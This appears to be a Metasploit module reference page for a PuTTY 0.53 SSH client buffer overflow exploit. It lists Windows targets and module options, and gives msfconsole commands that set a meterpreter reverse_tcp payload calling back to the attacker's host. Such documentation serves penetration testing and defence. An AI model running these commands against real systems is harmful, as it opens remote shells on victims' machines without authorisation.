PuTTy.exe <= v0.53 Buffer Overflow
This module exploits a buffer overflow in the PuTTY SSH client that is triggered through a validation error in SSH.c.
Exploit Rank
- Normal
Exploit Authors
- MC < mc [at] metasploit.com >
Vulnerability References
Exploit Targets
- 0 - Windows 2000 SP4 English (default)
- 1 - Windows XP SP2 English
- 2 - Windows 2003 SP1 English
Exploit Development
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Exploit Usage Information
$ msfconsole
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msf > use exploit/windows/ssh/putty_msg_debug
msf exploit(putty_msg_debug) > show payloads
msf exploit(putty_msg_debug) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(putty_msg_debug) > set LHOST [MY IP ADDRESS]
msf exploit(putty_msg_debug) > exploit
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msf > use exploit/windows/ssh/putty_msg_debug
msf exploit(putty_msg_debug) > show payloads
msf exploit(putty_msg_debug) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(putty_msg_debug) > set LHOST [MY IP ADDRESS]
msf exploit(putty_msg_debug) > exploit
Exploit Module Options
| SRVHOST | The local host to listen on. This must be an address on the local machine or 0.0.0.0 (default: 0.0.0.0) |
| SRVPORT | The SSH daemon port to listen on (default: 22) |
| SSL | Negotiate SSL for incoming connections |
| SSLCert | Path to a custom SSL certificate (default is randomly generated) |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) (default: SSL3) |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| ListenerComm | The specific communication channel to use for this service |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| TCP::max_send_size | Maximum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |